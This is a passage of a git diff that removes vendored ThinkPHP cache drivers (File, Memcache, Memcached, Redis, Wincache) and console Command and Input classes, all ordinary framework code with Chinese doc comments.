- * @access public - * @param string $name 缓存变量名 - * @param mixed $value 存储数据 - * @param int|\DateTime $expire 有效时间 0为永久 - * @return bool - */ - public function set($name, $value, $expire = null): bool - { - $this->writeTimes++; - - if (is_null($expire)) { - $expire = $this->options['expire']; - } - - $expire = $this->getExpireTime($expire); - $filename = $this->getCacheKey($name); - - $dir = dirname($filename); - - if (!is_dir($dir)) { - try { - mkdir($dir, 0755, true); - } catch (\Exception $e) { - // 创建失败 - } - } - - $data = $this->serialize($value); - - if ($this->options['data_compress'] && function_exists('gzcompress')) { - //数据压缩 - $data = gzcompress($data, 3); - } - - $data = "\n" . $data; - $result = file_put_contents($filename, $data); - - if ($result) { - clearstatcache(); - return true; - } - - return false; - } - - /** - * 自增缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function inc(string $name, int $step = 1) - { - if ($raw = $this->getRaw($name)) { - $value = $this->unserialize($raw['content']) + $step; - $expire = $raw['expire']; - } else { - $value = $step; - $expire = 0; - } - - return $this->set($name, $value, $expire) ? $value : false; - } - - /** - * 自减缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function dec(string $name, int $step = 1) - { - return $this->inc($name, -$step); - } - - /** - * 删除缓存 - * @access public - * @param string $name 缓存变量名 - * @return bool - */ - public function delete($name): bool - { - $this->writeTimes++; - - return $this->unlink($this->getCacheKey($name)); - } - - /** - * 清除缓存 - * @access public - * @return bool - */ - public function clear(): bool - { - $this->writeTimes++; - - $dirname = $this->options['path'] . $this->options['prefix']; - - $this->rmdir($dirname); - - return true; - } - - /** - * 删除缓存标签 - * @access public - * @param array $keys 缓存标识列表 - * @return void - */ - public function clearTag(array $keys): void - { - foreach ($keys as $key) { - $this->unlink($key); - } - } - - /** - * 判断文件是否存在后,删除 - * @access private - * @param string $path - * @return bool - */ - private function unlink(string $path): bool - { - try { - return is_file($path) && unlink($path); - } catch (\Exception $e) { - return false; - } - } - - /** - * 删除文件夹 - * @param $dirname - * @return bool - */ - private function rmdir($dirname) - { - if (!is_dir($dirname)) { - return false; - } - - $items = new FilesystemIterator($dirname); - - foreach ($items as $item) { - if ($item->isDir() && !$item->isLink()) { - $this->rmdir($item->getPathname()); - } else { - $this->unlink($item->getPathname()); - } - } - - @rmdir($dirname); - - return true; - } - -} diff --git a/vendor/topthink/framework/src/think/cache/driver/Memcache.php b/vendor/topthink/framework/src/think/cache/driver/Memcache.php deleted file mode 100644 index 81b988f..0000000 --- a/vendor/topthink/framework/src/think/cache/driver/Memcache.php +++ /dev/null @@ -1,209 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\cache\driver; - -use think\cache\Driver; - -/** - * Memcache缓存类 - */ -class Memcache extends Driver -{ - /** - * 配置参数 - * @var array - */ - protected $options = [ - 'host' => '127.0.0.1', - 'port' => 11211, - 'expire' => 0, - 'timeout' => 0, // 超时时间(单位:毫秒) - 'persistent' => true, - 'prefix' => '', - 'tag_prefix' => 'tag:', - 'serialize' => [], - ]; - - /** - * 架构函数 - * @access public - * @param array $options 缓存参数 - * @throws \BadFunctionCallException - */ - public function __construct(array $options = []) - { - if (!extension_loaded('memcache')) { - throw new \BadFunctionCallException('not support: memcache'); - } - - if (!empty($options)) { - $this->options = array_merge($this->options, $options); - } - - $this->handler = new \Memcache; - - // 支持集群 - $hosts = (array) $this->options['host']; - $ports = (array) $this->options['port']; - - if (empty($ports[0])) { - $ports[0] = 11211; - } - - // 建立连接 - foreach ($hosts as $i => $host) { - $port = $ports[$i] ?? $ports[0]; - $this->options['timeout'] > 0 ? - $this->handler->addServer($host, (int) $port, $this->options['persistent'], 1, (int) $this->options['timeout']) : - $this->handler->addServer($host, (int) $port, $this->options['persistent'], 1); - } - } - - /** - * 判断缓存 - * @access public - * @param string $name 缓存变量名 - * @return bool - */ - public function has($name): bool - { - $key = $this->getCacheKey($name); - - return false !== $this->handler->get($key); - } - - /** - * 读取缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $default 默认值 - * @return mixed - */ - public function get($name, $default = null) - { - $this->readTimes++; - - $result = $this->handler->get($this->getCacheKey($name)); - - return false !== $result ? $this->unserialize($result) : $default; - } - - /** - * 写入缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $value 存储数据 - * @param int|\DateTime $expire 有效时间(秒) - * @return bool - */ - public function set($name, $value, $expire = null): bool - { - $this->writeTimes++; - - if (is_null($expire)) { - $expire = $this->options['expire']; - } - - $key = $this->getCacheKey($name); - $expire = $this->getExpireTime($expire); - $value = $this->serialize($value); - - if ($this->handler->set($key, $value, 0, $expire)) { - return true; - } - - return false; - } - - /** - * 自增缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function inc(string $name, int $step = 1) - { - $this->writeTimes++; - - $key = $this->getCacheKey($name); - - if ($this->handler->get($key)) { - return $this->handler->increment($key, $step); - } - - return $this->handler->set($key, $step); - } - - /** - * 自减缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function dec(string $name, int $step = 1) - { - $this->writeTimes++; - - $key = $this->getCacheKey($name); - $value = $this->handler->get($key) - $step; - $res = $this->handler->set($key, $value); - - return !$res ? false : $value; - } - - /** - * 删除缓存 - * @access public - * @param string $name 缓存变量名 - * @param bool|false $ttl - * @return bool - */ - public function delete($name, $ttl = false): bool - { - $this->writeTimes++; - - $key = $this->getCacheKey($name); - - return false === $ttl ? - $this->handler->delete($key) : - $this->handler->delete($key, $ttl); - } - - /** - * 清除缓存 - * @access public - * @return bool - */ - public function clear(): bool - { - $this->writeTimes++; - - return $this->handler->flush(); - } - - /** - * 删除缓存标签 - * @access public - * @param array $keys 缓存标识列表 - * @return void - */ - public function clearTag(array $keys): void - { - foreach ($keys as $key) { - $this->handler->delete($key); - } - } - -} diff --git a/vendor/topthink/framework/src/think/cache/driver/Memcached.php b/vendor/topthink/framework/src/think/cache/driver/Memcached.php deleted file mode 100644 index e6c5606..0000000 --- a/vendor/topthink/framework/src/think/cache/driver/Memcached.php +++ /dev/null @@ -1,221 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\cache\driver; - -use think\cache\Driver; - -/** - * Memcached缓存类 - */ -class Memcached extends Driver -{ - /** - * 配置参数 - * @var array - */ - protected $options = [ - 'host' => '127.0.0.1', - 'port' => 11211, - 'expire' => 0, - 'timeout' => 0, // 超时时间(单位:毫秒) - 'prefix' => '', - 'username' => '', //账号 - 'password' => '', //密码 - 'option' => [], - 'tag_prefix' => 'tag:', - 'serialize' => [], - ]; - - /** - * 架构函数 - * @access public - * @param array $options 缓存参数 - */ - public function __construct(array $options = []) - { - if (!extension_loaded('memcached')) { - throw new \BadFunctionCallException('not support: memcached'); - } - - if (!empty($options)) { - $this->options = array_merge($this->options, $options); - } - - $this->handler = new \Memcached; - - if (!empty($this->options['option'])) { - $this->handler->setOptions($this->options['option']); - } - - // 设置连接超时时间(单位:毫秒) - if ($this->options['timeout'] > 0) { - $this->handler->setOption(\Memcached::OPT_CONNECT_TIMEOUT, $this->options['timeout']); - } - - // 支持集群 - $hosts = (array) $this->options['host']; - $ports = (array) $this->options['port']; - if (empty($ports[0])) { - $ports[0] = 11211; - } - - // 建立连接 - $servers = []; - foreach ($hosts as $i => $host) { - $servers[] = [$host, $ports[$i] ?? $ports[0], 1]; - } - - $this->handler->addServers($servers); - - if ('' != $this->options['username']) { - $this->handler->setOption(\Memcached::OPT_BINARY_PROTOCOL, true); - $this->handler->setSaslAuthData($this->options['username'], $this->options['password']); - } - } - - /** - * 判断缓存 - * @access public - * @param string $name 缓存变量名 - * @return bool - */ - public function has($name): bool - { - $key = $this->getCacheKey($name); - - return $this->handler->get($key) ? true : false; - } - - /** - * 读取缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $default 默认值 - * @return mixed - */ - public function get($name, $default = null) - { - $this->readTimes++; - - $result = $this->handler->get($this->getCacheKey($name)); - - return false !== $result ? $this->unserialize($result) : $default; - } - - /** - * 写入缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $value 存储数据 - * @param integer|\DateTime $expire 有效时间(秒) - * @return bool - */ - public function set($name, $value, $expire = null): bool - { - $this->writeTimes++; - - if (is_null($expire)) { - $expire = $this->options['expire']; - } - - $key = $this->getCacheKey($name); - $expire = $this->getExpireTime($expire); - $value = $this->serialize($value); - - if ($this->handler->set($key, $value, $expire)) { - return true; - } - - return false; - } - - /** - * 自增缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function inc(string $name, int $step = 1) - { - $this->writeTimes++; - - $key = $this->getCacheKey($name); - - if ($this->handler->get($key)) { - return $this->handler->increment($key, $step); - } - - return $this->handler->set($key, $step); - } - - /** - * 自减缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function dec(string $name, int $step = 1) - { - $this->writeTimes++; - - $key = $this->getCacheKey($name); - $value = $this->handler->get($key) - $step; - $res = $this->handler->set($key, $value); - - return !$res ? false : $value; - } - - /** - * 删除缓存 - * @access public - * @param string $name 缓存变量名 - * @param bool|false $ttl - * @return bool - */ - public function delete($name, $ttl = false): bool - { - $this->writeTimes++; - - $key = $this->getCacheKey($name); - - return false === $ttl ? - $this->handler->delete($key) : - $this->handler->delete($key, $ttl); - } - - /** - * 清除缓存 - * @access public - * @return bool - */ - public function clear(): bool - { - $this->writeTimes++; - - return $this->handler->flush(); - } - - /** - * 删除缓存标签 - * @access public - * @param array $keys 缓存标识列表 - * @return void - */ - public function clearTag(array $keys): void - { - $this->handler->deleteMulti($keys); - } - -} diff --git a/vendor/topthink/framework/src/think/cache/driver/Redis.php b/vendor/topthink/framework/src/think/cache/driver/Redis.php deleted file mode 100644 index a87f02d..0000000 --- a/vendor/topthink/framework/src/think/cache/driver/Redis.php +++ /dev/null @@ -1,249 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\cache\driver; - -use think\cache\Driver; - -/** - * Redis缓存驱动,适合单机部署、有前端代理实现高可用的场景,性能最好 - * 有需要在业务层实现读写分离、或者使用RedisCluster的需求,请使用Redisd驱动 - * - * 要求安装phpredis扩展:https://github.com/nicolasff/phpredis - * @author 尘缘 <130775@qq.com> - */ -class Redis extends Driver -{ - /** @var \Predis\Client|\Redis */ - protected $handler; - - /** - * 配置参数 - * @var array - */ - protected $options = [ - 'host' => '127.0.0.1', - 'port' => 6379, - 'password' => '', - 'select' => 0, - 'timeout' => 0, - 'expire' => 0, - 'persistent' => false, - 'prefix' => '', - 'tag_prefix' => 'tag:', - 'serialize' => [], - ]; - - /** - * 架构函数 - * @access public - * @param array $options 缓存参数 - */ - public function __construct(array $options = []) - { - if (!empty($options)) { - $this->options = array_merge($this->options, $options); - } - - if (extension_loaded('redis')) { - $this->handler = new \Redis; - - if ($this->options['persistent']) { - $this->handler->pconnect($this->options['host'], (int) $this->options['port'], (int) $this->options['timeout'], 'persistent_id_' . $this->options['select']); - } else { - $this->handler->connect($this->options['host'], (int) $this->options['port'], (int) $this->options['timeout']); - } - - if ('' != $this->options['password']) { - $this->handler->auth($this->options['password']); - } - } elseif (class_exists('\Predis\Client')) { - $params = []; - foreach ($this->options as $key => $val) { - if (in_array($key, ['aggregate', 'cluster', 'connections', 'exceptions', 'prefix', 'profile', 'replication', 'parameters'])) { - $params[$key] = $val; - unset($this->options[$key]); - } - } - - if ('' == $this->options['password']) { - unset($this->options['password']); - } - - $this->handler = new \Predis\Client($this->options, $params); - - $this->options['prefix'] = ''; - } else { - throw new \BadFunctionCallException('not support: redis'); - } - - if (0 != $this->options['select']) { - $this->handler->select((int) $this->options['select']); - } - } - - /** - * 判断缓存 - * @access public - * @param string $name 缓存变量名 - * @return bool - */ - public function has($name): bool - { - return $this->handler->exists($this->getCacheKey($name)) ? true : false; - } - - /** - * 读取缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $default 默认值 - * @return mixed - */ - public function get($name, $default = null) - { - $this->readTimes++; - $key = $this->getCacheKey($name); - $value = $this->handler->get($key); - - if (false === $value || is_null($value)) { - return $default; - } - - return $this->unserialize($value); - } - - /** - * 写入缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $value 存储数据 - * @param integer|\DateTime $expire 有效时间(秒) - * @return bool - */ - public function set($name, $value, $expire = null): bool - { - $this->writeTimes++; - - if (is_null($expire)) { - $expire = $this->options['expire']; - } - - $key = $this->getCacheKey($name); - $expire = $this->getExpireTime($expire); - $value = $this->serialize($value); - - if ($expire) { - $this->handler->setex($key, $expire, $value); - } else { - $this->handler->set($key, $value); - } - - return true; - } - - /** - * 自增缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function inc(string $name, int $step = 1) - { - $this->writeTimes++; - $key = $this->getCacheKey($name); - - return $this->handler->incrby($key, $step); - } - - /** - * 自减缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function dec(string $name, int $step = 1) - { - $this->writeTimes++; - $key = $this->getCacheKey($name); - - return $this->handler->decrby($key, $step); - } - - /** - * 删除缓存 - * @access public - * @param string $name 缓存变量名 - * @return bool - */ - public function delete($name): bool - { - $this->writeTimes++; - - $key = $this->getCacheKey($name); - $result = $this->handler->del($key); - return $result > 0; - } - - /** - * 清除缓存 - * @access public - * @return bool - */ - public function clear(): bool - { - $this->writeTimes++; - $this->handler->flushDB(); - return true; - } - - /** - * 删除缓存标签 - * @access public - * @param array $keys 缓存标识列表 - * @return void - */ - public function clearTag(array $keys): void - { - // 指定标签清除 - $this->handler->del($keys); - } - - /** - * 追加(数组)缓存数据 - * @access public - * @param string $name 缓存标识 - * @param mixed $value 数据 - * @return void - */ - public function push(string $name, $value): void - { - $key = $this->getCacheKey($name); - $this->handler->sAdd($key, $value); - } - - /** - * 获取标签包含的缓存标识 - * @access public - * @param string $tag 缓存标签 - * @return array - */ - public function getTagItems(string $tag): array - { - $name = $this->getTagKey($tag); - $key = $this->getCacheKey($name); - return $this->handler->sMembers($key); - } - -} diff --git a/vendor/topthink/framework/src/think/cache/driver/Wincache.php b/vendor/topthink/framework/src/think/cache/driver/Wincache.php deleted file mode 100644 index 8b8e26d..0000000 --- a/vendor/topthink/framework/src/think/cache/driver/Wincache.php +++ /dev/null @@ -1,175 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\cache\driver; - -use think\cache\Driver; - -/** - * Wincache缓存驱动 - */ -class Wincache extends Driver -{ - /** - * 配置参数 - * @var array - */ - protected $options = [ - 'prefix' => '', - 'expire' => 0, - 'tag_prefix' => 'tag:', - 'serialize' => [], - ]; - - /** - * 架构函数 - * @access public - * @param array $options 缓存参数 - * @throws \BadFunctionCallException - */ - public function __construct(array $options = []) - { - if (!function_exists('wincache_ucache_info')) { - throw new \BadFunctionCallException('not support: WinCache'); - } - - if (!empty($options)) { - $this->options = array_merge($this->options, $options); - } - } - - /** - * 判断缓存 - * @access public - * @param string $name 缓存变量名 - * @return bool - */ - public function has($name): bool - { - $this->readTimes++; - - $key = $this->getCacheKey($name); - - return wincache_ucache_exists($key); - } - - /** - * 读取缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $default 默认值 - * @return mixed - */ - public function get($name, $default = null) - { - $this->readTimes++; - - $key = $this->getCacheKey($name); - - return wincache_ucache_exists($key) ? $this->unserialize(wincache_ucache_get($key)) : $default; - } - - /** - * 写入缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $value 存储数据 - * @param integer|\DateTime $expire 有效时间(秒) - * @return bool - */ - public function set($name, $value, $expire = null): bool - { - $this->writeTimes++; - - if (is_null($expire)) { - $expire = $this->options['expire']; - } - - $key = $this->getCacheKey($name); - $expire = $this->getExpireTime($expire); - $value = $this->serialize($value); - - if (wincache_ucache_set($key, $value, $expire)) { - return true; - } - - return false; - } - - /** - * 自增缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function inc(string $name, int $step = 1) - { - $this->writeTimes++; - - $key = $this->getCacheKey($name); - - return wincache_ucache_inc($key, $step); - } - - /** - * 自减缓存(针对数值缓存) - * @access public - * @param string $name 缓存变量名 - * @param int $step 步长 - * @return false|int - */ - public function dec(string $name, int $step = 1) - { - $this->writeTimes++; - - $key = $this->getCacheKey($name); - - return wincache_ucache_dec($key, $step); - } - - /** - * 删除缓存 - * @access public - * @param string $name 缓存变量名 - * @return bool - */ - public function delete($name): bool - { - $this->writeTimes++; - - return wincache_ucache_delete($this->getCacheKey($name)); - } - - /** - * 清除缓存 - * @access public - * @return bool - */ - public function clear(): bool - { - $this->writeTimes++; - return wincache_ucache_clear(); - } - - /** - * 删除缓存标签 - * @access public - * @param array $keys 缓存标识列表 - * @return void - */ - public function clearTag(array $keys): void - { - wincache_ucache_delete($keys); - } - -} diff --git a/vendor/topthink/framework/src/think/console/Command.php b/vendor/topthink/framework/src/think/console/Command.php deleted file mode 100644 index bd3fb20..0000000 --- a/vendor/topthink/framework/src/think/console/Command.php +++ /dev/null @@ -1,504 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\console; - -use Exception; -use InvalidArgumentException; -use LogicException; -use think\App; -use think\Console; -use think\console\input\Argument; -use think\console\input\Definition; -use think\console\input\Option; - -abstract class Command -{ - - /** @var Console */ - private $console; - private $name; - private $processTitle; - private $aliases = []; - private $definition; - private $help; - private $description; - private $ignoreValidationErrors = false; - private $consoleDefinitionMerged = false; - private $consoleDefinitionMergedWithArgs = false; - private $synopsis = []; - private $usages = []; - - /** @var Input */ - protected $input; - - /** @var Output */ - protected $output; - - /** @var App */ - protected $app; - - /** - * 构造方法 - * @throws LogicException - * @api - */ - public function __construct() - { - $this->definition = new Definition(); - - $this->configure(); - - if (!$this->name) { - throw new LogicException(sprintf('The command defined in "%s" cannot have an empty name.', get_class($this))); - } - } - - /** - * 忽略验证错误 - */ - public function ignoreValidationErrors(): void - { - $this->ignoreValidationErrors = true; - } - - /** - * 设置控制台 - * @param Console $console - */ - public function setConsole(Console $console = null): void - { - $this->console = $console; - } - - /** - * 获取控制台 - * @return Console - * @api - */ - public function getConsole(): Console - { - return $this->console; - } - - /** - * 设置app - * @param App $app - */ - public function setApp(App $app) - { - $this->app = $app; - } - - /** - * 获取app - * @return App - */ - public function getApp() - { - return $this->app; - } - - /** - * 是否有效 - * @return bool - */ - public function isEnabled(): bool - { - return true; - } - - /** - * 配置指令 - */ - protected function configure() - { - } - - /** - * 执行指令 - * @param Input $input - * @param Output $output - * @return null|int - * @throws LogicException - * @see setCode() - */ - protected function execute(Input $input, Output $output) - { - return $this->app->invoke([$this, 'handle']); - } - - /** - * 用户验证 - * @param Input $input - * @param Output $output - */ - protected function interact(Input $input, Output $output) - { - } - - /** - * 初始化 - * @param Input $input An InputInterface instance - * @param Output $output An OutputInterface instance - */ - protected function initialize(Input $input, Output $output) - { - } - - /** - * 执行 - * @param Input $input - * @param Output $output - * @return int - * @throws Exception - * @see setCode() - * @see execute() - */ - public function run(Input $input, Output $output): int - { - $this->input = $input; - $this->output = $output; - - $this->getSynopsis(true); - $this->getSynopsis(false); - - $this->mergeConsoleDefinition(); - - try { - $input->bind($this->definition); - } catch (Exception $e) { - if (!$this->ignoreValidationErrors) { - throw $e; - } - } - - $this->initialize($input, $output); - - if (null !== $this->processTitle) { - if (function_exists('cli_set_process_title')) { - if (false === @cli_set_process_title($this->processTitle)) { - if ('Darwin' === PHP_OS) { - $output->writeln('Running "cli_get_process_title" as an unprivileged user is not supported on MacOS.'); - } else { - $error = error_get_last(); - trigger_error($error['message'], E_USER_WARNING); - } - } - } elseif (function_exists('setproctitle')) { - setproctitle($this->processTitle); - } elseif (Output::VERBOSITY_VERY_VERBOSE === $output->getVerbosity()) { - $output->writeln('Install the proctitle PECL to be able to change the process title.'); - } - } - - if ($input->isInteractive()) { - $this->interact($input, $output); - } - - $input->validate(); - - $statusCode = $this->execute($input, $output); - - return is_numeric($statusCode) ? (int) $statusCode : 0; - } - - /** - * 合并参数定义 - * @param bool $mergeArgs - */ - public function mergeConsoleDefinition(bool $mergeArgs = true) - { - if (null === $this->console - || (true === $this->consoleDefinitionMerged - && ($this->consoleDefinitionMergedWithArgs || !$mergeArgs)) - ) { - return; - } - - if ($mergeArgs) { - $currentArguments = $this->definition->getArguments(); - $this->definition->setArguments($this->console->getDefinition()->getArguments()); - $this->definition->addArguments($currentArguments); - } - - $this->definition->addOptions($this->console->getDefinition()->getOptions()); - - $this->consoleDefinitionMerged = true; - if ($mergeArgs) { - $this->consoleDefinitionMergedWithArgs = true; - } - } - - /** - * 设置参数定义 - * @param array|Definition $definition - * @return Command - * @api - */ - public function setDefinition($definition) - { - if ($definition instanceof Definition) { - $this->definition = $definition; - } else { - $this->definition->setDefinition($definition); - } - - $this->consoleDefinitionMerged = false; - - return $this; - } - - /** - * 获取参数定义 - * @return Definition - * @api - */ - public function getDefinition(): Definition - { - return $this->definition; - } - - /** - * 获取当前指令的参数定义 - * @return Definition - */ - public function getNativeDefinition(): Definition - { - return $this->getDefinition(); - } - - /** - * 添加参数 - * @param string $name 名称 - * @param int $mode 类型 - * @param string $description 描述 - * @param mixed $default 默认值 - * @return Command - */ - public function addArgument(string $name, int $mode = null, string $description = '', $default = null) - { - $this->definition->addArgument(new Argument($name, $mode, $description, $default)); - - return $this; - } - - /** - * 添加选项 - * @param string $name 选项名称 - * @param string $shortcut 别名 - * @param int $mode 类型 - * @param string $description 描述 - * @param mixed $default 默认值 - * @return Command - */ - public function addOption(string $name, string $shortcut = null, int $mode = null, string $description = '', $default = null) - { - $this->definition->addOption(new Option($name, $shortcut, $mode, $description, $default)); - - return $this; - } - - /** - * 设置指令名称 - * @param string $name - * @return Command - * @throws InvalidArgumentException - */ - public function setName(string $name) - { - $this->validateName($name); - - $this->name = $name; - - return $this; - } - - /** - * 设置进程名称 - * - * PHP 5.5+ or the proctitle PECL library is required - * - * @param string $title The process title - * - * @return $this - */ - public function setProcessTitle($title) - { - $this->processTitle = $title; - - return $this; - } - - /** - * 获取指令名称 - * @return string - */ - public function getName(): string - { - return $this->name ?: ''; - } - - /** - * 设置描述 - * @param string $description - * @return Command - */ - public function setDescription(string $description) - { - $this->description = $description; - - return $this; - } - - /** - * 获取描述 - * @return string - */ - public function getDescription(): string - { - return $this->description ?: ''; - } - - /** - * 设置帮助信息 - * @param string $help - * @return Command - */ - public function setHelp(string $help) - { - $this->help = $help; - - return $this; - } - - /** - * 获取帮助信息 - * @return string - */ - public function getHelp(): string - { - return $this->help ?: ''; - } - - /** - * 描述信息 - * @return string - */ - public function getProcessedHelp(): string - { - $name = $this->name; - - $placeholders = [ - '%command.name%', - '%command.full_name%', - ]; - $replacements = [ - $name, - $_SERVER['PHP_SELF'] . ' ' . $name, - ]; - - return str_replace($placeholders, $replacements, $this->getHelp()); - } - - /** - * 设置别名 - * @param string[] $aliases - * @return Command - * @throws InvalidArgumentException - */ - public function setAliases(iterable $aliases) - { - foreach ($aliases as $alias) { - $this->validateName($alias); - } - - $this->aliases = $aliases; - - return $this; - } - - /** - * 获取别名 - * @return array - */ - public function getAliases(): array - { - return $this->aliases; - } - - /** - * 获取简介 - * @param bool $short 是否简单的 - * @return string - */ - public function getSynopsis(bool $short = false): string - { - $key = $short ? 'short' : 'long'; - - if (!isset($this->synopsis[$key])) { - $this->synopsis[$key] = trim(sprintf('%s %s', $this->name, $this->definition->getSynopsis($short))); - } - - return $this->synopsis[$key]; - } - - /** - * 添加用法介绍 - * @param string $usage - * @return $this - */ - public function addUsage(string $usage) - { - if (0 !== strpos($usage, $this->name)) { - $usage = sprintf('%s %s', $this->name, $usage); - } - - $this->usages[] = $usage; - - return $this; - } - - /** - * 获取用法介绍 - * @return array - */ - public function getUsages(): array - { - return $this->usages; - } - - /** - * 验证指令名称 - * @param string $name - * @throws InvalidArgumentException - */ - private function validateName(string $name) - { - if (!preg_match('/^[^\:]++(\:[^\:]++)*$/', $name)) { - throw new InvalidArgumentException(sprintf('Command name "%s" is invalid.', $name)); - } - } - - /** - * 输出表格 - * @param Table $table - * @return string - */ - protected function table(Table $table): string - { - $content = $table->render(); - $this->output->writeln($content); - return $content; - } - -} diff --git a/vendor/topthink/framework/src/think/console/Input.php b/vendor/topthink/framework/src/think/console/Input.php deleted file mode 100644 index 9ae9077..0000000 --- a/vendor/topthink/framework/src/think/console/Input.php +++ /dev/null @@ -1,465 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\console; - -use think\console\input\Argument; -use think\console\input\Definition; -use think\console\input\Option; - -class Input -{ - - /** - * @var Definition - */ - protected $definition; - - /** - * @var Option[] - */ - protected $options = []; - - /** - * @var Argument[] - */ - protected $arguments = []; - - protected $interactive = true; - - private $tokens; - private $parsed; - - public function __construct($argv = null) - { - if (null === $argv) { - $argv = $_SERVER['argv']; - // 去除命令名 - array_shift($argv); - } - - $this->tokens = $argv; - - $this->definition = new Definition(); - } - - protected function setTokens(array $tokens) - { - $this->tokens = $tokens; - } - - /** - * 绑定实例 - * @param Definition $definition A InputDefinition instance - */ - public function bind(Definition $definition): void - { - $this->arguments = []; - $this->options = []; - $this->definition = $definition; - - $this->parse(); - } - - /** - * 解析参数 - */ - protected function parse(): void - { - $parseOptions = true; - $this->parsed = $this->tokens; - while (null !== $token = array_shift($this->parsed)) { - if ($parseOptions && '' == $token) { - $this->parseArgument($token); - } elseif ($parseOptions && '--' == $token) { - $parseOptions = false; - } elseif ($parseOptions && 0 === strpos($token, '--')) { - $this->parseLongOption($token); - } elseif ($parseOptions && '-' === $token[0] && '-' !== $token) { - $this->parseShortOption($token); - } else { - $this->parseArgument($token); - } - } - } - - /** - * 解析短选项 - * @param string $token 当前的指令. - */ - private function parseShortOption(string $token): void - { - $name = substr($token, 1); - - if (strlen($name) > 1) { - if ($this->definition->hasShortcut($name[0]) - && $this->definition->getOptionForShortcut($name[0])->acceptValue() - ) { - $this->addShortOption($name[0], substr($name, 1)); - } else { - $this->parseShortOptionSet($name); - } - } else { - $this->addShortOption($name, null); - } - } - - /** - * 解析短选项 - * @param string $name 当前指令 - * @throws \RuntimeException - */ - private function parseShortOptionSet(string $name): void - { - $len = strlen($name); - for ($i = 0; $i < $len; ++$i) { - if (!$this->definition->hasShortcut($name[$i])) { - throw new \RuntimeException(sprintf('The "-%s" option does not exist.', $name[$i])); - } - - $option = $this->definition->getOptionForShortcut($name[$i]); - if ($option->acceptValue()) { - $this->addLongOption($option->getName(), $i === $len - 1 ? null : substr($name, $i + 1)); - - break; - } else { - $this->addLongOption($option->getName(), null); - } - } - } - - /** - * 解析完整选项 - * @param string $token 当前指令 - */ - private function parseLongOption(string $token): void - { - $name = substr($token, 2); - - if (false !== $pos = strpos($name, '=')) { - $this->addLongOption(substr($name, 0, $pos), substr($name, $pos + 1)); - } else { - $this->addLongOption($name, null); - } - } - - /** - * 解析参数 - * @param string $token 当前指令 - * @throws \RuntimeException - */ - private function parseArgument(string $token): void - { - $c = count($this->arguments); - - if ($this->definition->hasArgument($c)) { - $arg = $this->definition->getArgument($c); - - $this->arguments[$arg->getName()] = $arg->isArray() ? [$token] : $token; - - } elseif ($this->definition->hasArgument($c - 1) && $this->definition->getArgument($c - 1)->isArray()) { - $arg = $this->definition->getArgument($c - 1); - - $this->arguments[$arg->getName()][] = $token; - } else { - throw new \RuntimeException('Too many arguments.'); - } - } - - /** - * 添加一个短选项的值 - * @param string $shortcut 短名称 - * @param mixed $value 值 - * @throws \RuntimeException - */ - private function addShortOption(string $shortcut, $value): void - { - if (!$this->definition->hasShortcut($shortcut)) { - throw new \RuntimeException(sprintf('The "-%s" option does not exist.', $shortcut)); - } - - $this->addLongOption($this->definition->getOptionForShortcut($shortcut)->getName(), $value); - } - - /** - * 添加一个完整选项的值 - * @param string $name 选项名 - * @param mixed $value 值 - * @throws \RuntimeException - */ - private function addLongOption(string $name, $value): void - { - if (!$this->definition->hasOption($name)) { - throw new \RuntimeException(sprintf('The "--%s" option does not exist.', $name)); - } - - $option = $this->definition->getOption($name); - - if (false === $value) { - $value = null; - } - - if (null !== $value && !$option->acceptValue()) { - throw new \RuntimeException(sprintf('The "--%s" option does not accept a value.', $name, $value)); - } - - if (null === $value && $option->acceptValue() && count($this->parsed)) { - $next = array_shift($this->parsed); - if (isset($next[0]) && '-' !== $next[0]) { - $value = $next; - } elseif (empty($next)) { - $value = ''; - } else { - array_unshift($this->parsed, $next); - } - } - - if (null === $value) { - if ($option->isValueRequired()) { - throw new \RuntimeException(sprintf('The "--%s" option requires a value.', $name)); - } - - if (!$option->isArray()) { - $value = $option->isValueOptional() ? $option->getDefault() : true; - } - } - - if ($option->isArray()) { - $this->options[$name][] = $value; - } else { - $this->options[$name] = $value; - } - } - - /** - * 获取第一个参数 - * @return string|null - */ - public function getFirstArgument() - { - foreach ($this->tokens as $token) { - if ($token && '-' === $token[0]) { - continue; - } - - return $token; - } - return; - } - - /** - * 检查原始参数是否包含某个值 - * @param string|array $values 需要检查的值 - * @return bool - */ - public function hasParameterOption($values): bool - { - $values = (array) $values; - - foreach ($this->tokens as $token) { - foreach ($values as $value) { - if ($token === $value || 0 === strpos($token, $value . '=')) { - return true; - } - } - } - - return false; - } - - /** - * 获取原始选项的值 - * @param string|array $values 需要检查的值 - * @param mixed $default 默认值 - * @return mixed The option value - */ - public function getParameterOption($values, $default = false) - { - $values = (array) $values; - $tokens = $this->tokens; - - while (0 < count($tokens)) { 